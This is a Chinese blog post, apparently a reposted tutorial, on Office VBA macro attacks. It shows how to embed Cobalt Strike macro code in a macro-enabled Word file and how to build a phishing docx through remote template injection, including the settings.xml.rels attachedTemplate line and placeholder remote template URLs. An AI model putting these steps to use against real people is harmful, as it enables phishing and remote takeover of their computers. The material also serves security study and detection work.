Office的VBA宏攻击(还有远程模板注入)

 
 
原理就是利用VBA宏代码创建进程、申请虚拟内存、拷贝内存将shellcode加载进内存来获取权限,VBA原本是微软为了office使用者们能根据自身的情况来编写代码省去不必要的麻烦,攻击者却可以拿来进行攻击.
 
其实ppt、word的手法都大同小异,会一种其他的就差不多了
 
 

环境相关

 
win7 word2016(启用宏) cobalt strike的宏代码
 
环境搭建
 

 
选项->信任中心->信任中心设置->宏设置->启用所有宏

 
选项->自定义功能区-->打开开发工具
 

启用宏的word文档

 
使用cobalt strike生成VBA宏代码,之后将宏代码粘贴到word、ppt等,这里面以Word展示一下
 
Attacks->Packages->MS Office Macro
 

 
 
打开office生成一个文档,之后将其保存为启用宏的文档
 

 
之后在视图->宏中添加宏(随意起个名字,之后点击创建)
 

 
将宏代码填入这个位置
 

 
之后点击一下文档就能收到会话了
 
这种方法很容易被检测到,下面介绍另一种技术远程模板加载
 

远程模板注入技术

 
word文件一般与三个后缀名有关,docx、docm、dotm
 
docm就是启用宏的word文档,不需要其他的东西就可以自己启动宏,上文就是这种类型
 
docx是普通的word文件,自身没有任何宏代码,但是可以远程加载宏模板
 
dotm就是上文的宏的模板,下面演示一下,如何使用
 
首先创建一个dotm文件
 

 
之后打开->创建宏->填入宏代码(与上文制作的类似)
 
在创建一个docx文件
 

 
后缀名修改为zip,然后解压
 

 
修改./word/_rels/settings.xml.rels文件,如果没有请创建
 
写入以下内容
 

<Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="这里放payload"/></Relationships>

 
在Target出填写模板地址
 

如果想加载本机的模板,使用file协议本地加载`file:///c:\test\Docx1.dotm`
远程加载的话使用,直接https://xxxxxx/Docx1.dotm(GitHub上的话使用https://github.com/xxxx/GItLearn/blob/master/Doc1.dotm?raw=true)

 
然后在将源文件解压为zip,在修改为docx,这样一份钓鱼文件就完成了(若是对方开启了宏功能的话点击就会上线)

 
相比于其他,远程模板技术更隐蔽,因为docx是不自带宏代码的
 

参考资料

https://payloads.online/archivers/2019-05-16/1#0x04-%E6%95%88%E6%9E%9C

https://xz.aliyun.com/t/2496

https://blog.csdn.net/god_zzZ/article/details/102745794

猜你喜欢

转载自www.cnblogs.com/Mikasa-Ackerman/p/Office-deVBA-hong-gong-ji-hai-you-yuan-cheng-mo-ba.html